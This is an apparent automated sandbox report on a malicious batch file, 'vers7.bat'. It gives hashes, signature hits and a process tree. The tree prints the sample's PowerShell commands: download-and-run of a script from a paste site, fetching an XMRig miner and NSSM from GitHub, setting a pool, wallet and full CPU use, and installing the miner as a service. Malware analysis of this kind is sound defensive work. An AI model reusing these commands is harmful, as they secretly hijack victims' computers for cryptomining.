Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
750s -
max time network
743s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
29/06/2024, 10:30
Static task
static1
Behavioral task
behavioral1
Sample
vers7.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
vers7.bat
Resource
win10v2004-20240508-en
General
-
Target
vers7.bat
-
Size
517B
-
MD5
ac9d73455d58bfa42f81e718b8c8d6b5
-
SHA1
60040fff333b7bc09b22e5c013f11b8a99555ed3
-
SHA256
4a084dd6b556a67848483a5763f8d3eebadc0527f804f102f7f944b23b31cb12
-
SHA512
ad24994554a8e6bb68f5ca80b1c53379f7a577964165f56d2f6bef14340fec3d0f17d14faa2db4651776a83bd5686f26ee59080ee2a16d0468b8d38504e460b2
Malware Config
Extracted
https://rentry.co/regele/raw
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip
Extracted
https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip
Signatures
-
XMRig Miner payload 64 IoCs
resource yara_rule behavioral2/files/0x000700000002342a-65.dat family_xmrig behavioral2/files/0x000700000002342a-65.dat xmrig behavioral2/memory/3276-68-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-203-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-204-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-205-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-206-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-207-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-208-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-209-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-210-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-211-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-212-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-213-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-214-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-215-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-216-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-217-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-218-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-219-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-220-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-221-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-222-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-223-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-224-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-225-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-226-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-227-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-228-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-229-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-230-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-231-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-232-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-233-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-234-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-236-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-237-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-238-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-239-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-240-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-241-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-242-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-243-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-244-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-245-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-246-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-247-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-248-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-249-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-250-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-251-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-252-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-253-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-254-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-255-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-256-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-257-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-258-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-259-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-260-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-261-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-262-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-263-0x0000000000400000-0x000000000102B000-memory.dmp xmrig behavioral2/memory/4580-264-0x0000000000400000-0x000000000102B000-memory.dmp xmrig -
Blocklisted process makes network request 3 IoCs
flow pid Process 3 2980 powershell.exe 8 4384 powershell.exe 31 3132 powershell.exe -
Executes dropped EXE 9 IoCs
pid Process 3276 xmrig.exe 4876 nssm.exe 2868 nssm.exe 4276 nssm.exe 2536 nssm.exe 3032 nssm.exe 1368 nssm.exe 3344 nssm.exe 4580 xmrig.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 31 raw.githubusercontent.com 7 raw.githubusercontent.com 8 raw.githubusercontent.com -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3272 sc.exe 1944 sc.exe 776 sc.exe 1072 sc.exe -
pid Process 4384 powershell.exe 3336 powershell.exe 620 powershell.exe 1808 powershell.exe 1660 powershell.exe 2980 powershell.exe 1880 powershell.exe 316 powershell.exe 4588 powershell.exe 3132 powershell.exe 1752 powershell.exe 900 powershell.exe 2248 powershell.exe -
Delays execution with timeout.exe 64 IoCs
pid Process 4992 timeout.exe 4412 timeout.exe 3580 timeout.exe 4508 timeout.exe 3488 timeout.exe 3492 timeout.exe 4028 timeout.exe 3944 timeout.exe 732 timeout.exe 1720 timeout.exe 3972 timeout.exe 1044 timeout.exe 2492 timeout.exe 4044 timeout.exe 3884 Process not Found 1192 timeout.exe 1568 timeout.exe 2696 timeout.exe 2500 timeout.exe 1360 timeout.exe 3480 timeout.exe 2100 timeout.exe 2820 timeout.exe 2156 timeout.exe 2432 timeout.exe 2352 timeout.exe 228 timeout.exe 4636 timeout.exe 1464 timeout.exe 1168 timeout.exe 3600 timeout.exe 2752 timeout.exe 1880 timeout.exe 2032 timeout.exe 1392 timeout.exe 1548 timeout.exe 4980 Process not Found 2968 timeout.exe 2364 timeout.exe 544 timeout.exe 2944 timeout.exe 896 timeout.exe 1656 Process not Found 4556 timeout.exe 3340 timeout.exe 1588 timeout.exe 3052 timeout.exe 1384 timeout.exe 4548 timeout.exe 3716 timeout.exe 4144 timeout.exe 3584 timeout.exe 3972 timeout.exe 3596 timeout.exe 1720 timeout.exe 3280 timeout.exe 264 Process not Found 2176 timeout.exe 2576 timeout.exe 5032 timeout.exe 3632 timeout.exe 5032 timeout.exe 2920 timeout.exe 412 timeout.exe -
Kills process with taskkill 1 IoCs
pid Process 3924 taskkill.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 26 IoCs
pid Process 2980 powershell.exe 2980 powershell.exe 4384 powershell.exe 4384 powershell.exe 1752 powershell.exe 1752 powershell.exe 900 powershell.exe 900 powershell.exe 1880 powershell.exe 1880 powershell.exe 2248 powershell.exe 2248 powershell.exe 316 powershell.exe 316 powershell.exe 3336 powershell.exe 3336 powershell.exe 4588 powershell.exe 4588 powershell.exe 1808 powershell.exe 1808 powershell.exe 1660 powershell.exe 1660 powershell.exe 3132 powershell.exe 3132 powershell.exe 620 powershell.exe 620 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2980 powershell.exe Token: SeDebugPrivilege 3924 taskkill.exe Token: SeDebugPrivilege 4384 powershell.exe Token: SeDebugPrivilege 1752 powershell.exe Token: SeDebugPrivilege 900 powershell.exe Token: SeDebugPrivilege 1880 powershell.exe Token: SeDebugPrivilege 2248 powershell.exe Token: SeDebugPrivilege 316 powershell.exe Token: SeDebugPrivilege 3336 powershell.exe Token: SeDebugPrivilege 4588 powershell.exe Token: SeDebugPrivilege 1808 powershell.exe Token: SeDebugPrivilege 1660 powershell.exe Token: SeDebugPrivilege 3132 powershell.exe Token: SeDebugPrivilege 620 powershell.exe Token: SeLockMemoryPrivilege 4580 xmrig.exe Token: SeIncreaseQuotaPrivilege 3632 WMIC.exe Token: SeSecurityPrivilege 3632 WMIC.exe Token: SeTakeOwnershipPrivilege 3632 WMIC.exe Token: SeLoadDriverPrivilege 3632 WMIC.exe Token: SeSystemProfilePrivilege 3632 WMIC.exe Token: SeSystemtimePrivilege 3632 WMIC.exe Token: SeProfSingleProcessPrivilege 3632 WMIC.exe Token: SeIncBasePriorityPrivilege 3632 WMIC.exe Token: SeCreatePagefilePrivilege 3632 WMIC.exe Token: SeBackupPrivilege 3632 WMIC.exe Token: SeRestorePrivilege 3632 WMIC.exe Token: SeShutdownPrivilege 3632 WMIC.exe Token: SeDebugPrivilege 3632 WMIC.exe Token: SeSystemEnvironmentPrivilege 3632 WMIC.exe Token: SeRemoteShutdownPrivilege 3632 WMIC.exe Token: SeUndockPrivilege 3632 WMIC.exe Token: SeManageVolumePrivilege 3632 WMIC.exe Token: 33 3632 WMIC.exe Token: 34 3632 WMIC.exe Token: 35 3632 WMIC.exe Token: 36 3632 WMIC.exe Token: SeIncreaseQuotaPrivilege 3632 WMIC.exe Token: SeSecurityPrivilege 3632 WMIC.exe Token: SeTakeOwnershipPrivilege 3632 WMIC.exe Token: SeLoadDriverPrivilege 3632 WMIC.exe Token: SeSystemProfilePrivilege 3632 WMIC.exe Token: SeSystemtimePrivilege 3632 WMIC.exe Token: SeProfSingleProcessPrivilege 3632 WMIC.exe Token: SeIncBasePriorityPrivilege 3632 WMIC.exe Token: SeCreatePagefilePrivilege 3632 WMIC.exe Token: SeBackupPrivilege 3632 WMIC.exe Token: SeRestorePrivilege 3632 WMIC.exe Token: SeShutdownPrivilege 3632 WMIC.exe Token: SeDebugPrivilege 3632 WMIC.exe Token: SeSystemEnvironmentPrivilege 3632 WMIC.exe Token: SeRemoteShutdownPrivilege 3632 WMIC.exe Token: SeUndockPrivilege 3632 WMIC.exe Token: SeManageVolumePrivilege 3632 WMIC.exe Token: 33 3632 WMIC.exe Token: 34 3632 WMIC.exe Token: 35 3632 WMIC.exe Token: 36 3632 WMIC.exe Token: SeIncreaseQuotaPrivilege 1912 WMIC.exe Token: SeSecurityPrivilege 1912 WMIC.exe Token: SeTakeOwnershipPrivilege 1912 WMIC.exe Token: SeLoadDriverPrivilege 1912 WMIC.exe Token: SeSystemProfilePrivilege 1912 WMIC.exe Token: SeSystemtimePrivilege 1912 WMIC.exe Token: SeProfSingleProcessPrivilege 1912 WMIC.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4580 xmrig.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 2444 wrote to memory of 2980 2444 cmd.exe 81 PID 2444 wrote to memory of 2980 2444 cmd.exe 81 PID 2980 wrote to memory of 3508 2980 powershell.exe 82 PID 2980 wrote to memory of 3508 2980 powershell.exe 82 PID 3508 wrote to memory of 3708 3508 cmd.exe 83 PID 3508 wrote to memory of 3708 3508 cmd.exe 83 PID 3708 wrote to memory of 432 3708 net.exe 84 PID 3708 wrote to memory of 432 3708 net.exe 84 PID 3508 wrote to memory of 1568 3508 cmd.exe 85 PID 3508 wrote to memory of 1568 3508 cmd.exe 85 PID 3508 wrote to memory of 3568 3508 cmd.exe 86 PID 3508 wrote to memory of 3568 3508 cmd.exe 86 PID 3508 wrote to memory of 524 3508 cmd.exe 87 PID 3508 wrote to memory of 524 3508 cmd.exe 87 PID 3508 wrote to memory of 3252 3508 cmd.exe 88 PID 3508 wrote to memory of 3252 3508 cmd.exe 88 PID 3508 wrote to memory of 4548 3508 cmd.exe 89 PID 3508 wrote to memory of 4548 3508 cmd.exe 89 PID 3508 wrote to memory of 3272 3508 cmd.exe 90 PID 3508 wrote to memory of 3272 3508 cmd.exe 90 PID 3508 wrote to memory of 1944 3508 cmd.exe 91 PID 3508 wrote to memory of 1944 3508 cmd.exe 91 PID 3508 wrote to memory of 3924 3508 cmd.exe 92 PID 3508 wrote to memory of 3924 3508 cmd.exe 92 PID 3508 wrote to memory of 4384 3508 cmd.exe 94 PID 3508 wrote to memory of 4384 3508 cmd.exe 94 PID 3508 wrote to memory of 1752 3508 cmd.exe 102 PID 3508 wrote to memory of 1752 3508 cmd.exe 102 PID 3508 wrote to memory of 900 3508 cmd.exe 103 PID 3508 wrote to memory of 900 3508 cmd.exe 103 PID 3508 wrote to memory of 3276 3508 cmd.exe 104 PID 3508 wrote to memory of 3276 3508 cmd.exe 104 PID 3508 wrote to memory of 3520 3508 cmd.exe 105 PID 3508 wrote to memory of 3520 3508 cmd.exe 105 PID 3520 wrote to memory of 1880 3520 cmd.exe 106 PID 3520 wrote to memory of 1880 3520 cmd.exe 106 PID 1880 wrote to memory of 384 1880 powershell.exe 107 PID 1880 wrote to memory of 384 1880 powershell.exe 107 PID 3508 wrote to memory of 2248 3508 cmd.exe 108 PID 3508 wrote to memory of 2248 3508 cmd.exe 108 PID 3508 wrote to memory of 316 3508 cmd.exe 109 PID 3508 wrote to memory of 316 3508 cmd.exe 109 PID 3508 wrote to memory of 3336 3508 cmd.exe 110 PID 3508 wrote to memory of 3336 3508 cmd.exe 110 PID 3508 wrote to memory of 4588 3508 cmd.exe 111 PID 3508 wrote to memory of 4588 3508 cmd.exe 111 PID 3508 wrote to memory of 1808 3508 cmd.exe 112 PID 3508 wrote to memory of 1808 3508 cmd.exe 112 PID 3508 wrote to memory of 1660 3508 cmd.exe 113 PID 3508 wrote to memory of 1660 3508 cmd.exe 113 PID 3508 wrote to memory of 3132 3508 cmd.exe 114 PID 3508 wrote to memory of 3132 3508 cmd.exe 114 PID 3508 wrote to memory of 620 3508 cmd.exe 115 PID 3508 wrote to memory of 620 3508 cmd.exe 115 PID 3508 wrote to memory of 776 3508 cmd.exe 116 PID 3508 wrote to memory of 776 3508 cmd.exe 116 PID 3508 wrote to memory of 1072 3508 cmd.exe 117 PID 3508 wrote to memory of 1072 3508 cmd.exe 117 PID 3508 wrote to memory of 4876 3508 cmd.exe 118 PID 3508 wrote to memory of 4876 3508 cmd.exe 118 PID 3508 wrote to memory of 2868 3508 cmd.exe 119 PID 3508 wrote to memory of 2868 3508 cmd.exe 119 PID 3508 wrote to memory of 4276 3508 cmd.exe 120 PID 3508 wrote to memory of 4276 3508 cmd.exe 120
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\vers7.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2444 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile += '.bat'; $wc.DownloadFile('https://rentry.co/regele/raw', $tempfile); & $tempfile 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL; Remove-Item -Force $tempfile"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2980 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp4882.tmp.bat" 42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL"3⤵
- Suspicious use of WriteProcessMemory
PID:3508 -
C:\Windows\system32\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:3708 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session5⤵PID:432
-
-
-
C:\Windows\system32\where.exewhere powershell4⤵PID:1568
-
-
C:\Windows\system32\where.exewhere find4⤵PID:3568
-
-
C:\Windows\system32\where.exewhere findstr4⤵PID:524
-
-
C:\Windows\system32\where.exewhere tasklist4⤵PID:3252
-
-
C:\Windows\system32\where.exewhere sc4⤵PID:4548
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:3272
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:1944
-
-
C:\Windows\system32\taskkill.exetaskkill /f /t /im xmrig.exe4⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3924
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/xmrig.zip', 'C:\Users\Admin\xmrig.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4384
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\xmrig.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"donate-level\": *\d*,', '\"donate-level\": 1,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:900
-
-
C:\Users\Admin\moneroocean\xmrig.exe"C:\Users\Admin\moneroocean\xmrig.exe" --help4⤵
- Executes dropped EXE
PID:3276
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c powershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"4⤵
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "hostname | %{$_ -replace '[^a-zA-Z0-9]+', '_'}"5⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1880 -
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"6⤵PID:384
-
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"url\": *\".*\",', '\"url\": \"gulf.moneroocean.stream:10001\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2248
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"user\": *\".*\",', '\"user\": \"42cRnHwcKM6bmza8jmWyvWB2tjAcxQGmJ1QHhJ9ae55qRx488q6cvAU42EKkEiEd2N9TE1UjNViUSNVqV1NJ17R79fDhjVL\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:316
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"pass\": *\".*\",', '\"pass\": \"Objiyuie\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3336
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"max-cpu-usage\": *\d*,', '\"max-cpu-usage\": 100,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4588
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config.json' | %{$_ -replace '\"log-file\": *null,', '\"log-file\": \"C:\\Users\\Admin\\moneroocean\\xmrig.log\",'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1808
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$out = cat 'C:\Users\Admin\moneroocean\config_background.json' | %{$_ -replace '\"background\": *false,', '\"background\": true,'} | Out-String; $out | Out-File -Encoding ASCII 'C:\Users\Admin\moneroocean\config_background.json'"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1660
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$wc = New-Object System.Net.WebClient; $wc.DownloadFile('https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/nssm.zip', 'C:\Users\Admin\nssm.zip')"4⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3132
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\nssm.zip', 'C:\Users\Admin\moneroocean')"4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:620
-
-
C:\Windows\system32\sc.exesc stop moneroocean_miner4⤵
- Launches sc.exe
PID:776
-
-
C:\Windows\system32\sc.exesc delete moneroocean_miner4⤵
- Launches sc.exe
PID:1072
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" install moneroocean_miner "C:\Users\Admin\moneroocean\xmrig.exe"4⤵
- Executes dropped EXE
PID:4876
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppDirectory "C:\Users\Admin\moneroocean"4⤵
- Executes dropped EXE
PID:2868
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppPriority BELOW_NORMAL_PRIORITY_CLASS4⤵
- Executes dropped EXE
PID:4276
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStdout "C:\Users\Admin\moneroocean\stdout"4⤵
- Executes dropped EXE
PID:2536
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" set moneroocean_miner AppStderr "C:\Users\Admin\moneroocean\stderr"4⤵
- Executes dropped EXE
PID:3032
-
-
C:\Users\Admin\moneroocean\nssm.exe"C:\Users\Admin\moneroocean\nssm.exe" start moneroocean_miner4⤵
- Executes dropped EXE
PID:1368
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4940
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3632
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1844
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3236
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1912
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4408
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2176
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1592
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3988
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1384
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1880
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:372
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3776
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1108
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1688
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2968
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3300
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3252
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2920
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4216
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4508
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1360
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1924
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:536
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2936
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5088
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2776
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4716
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3688
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4116
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:4656
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1572
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:748
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:1852
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3492
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4820
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:3132
-
-
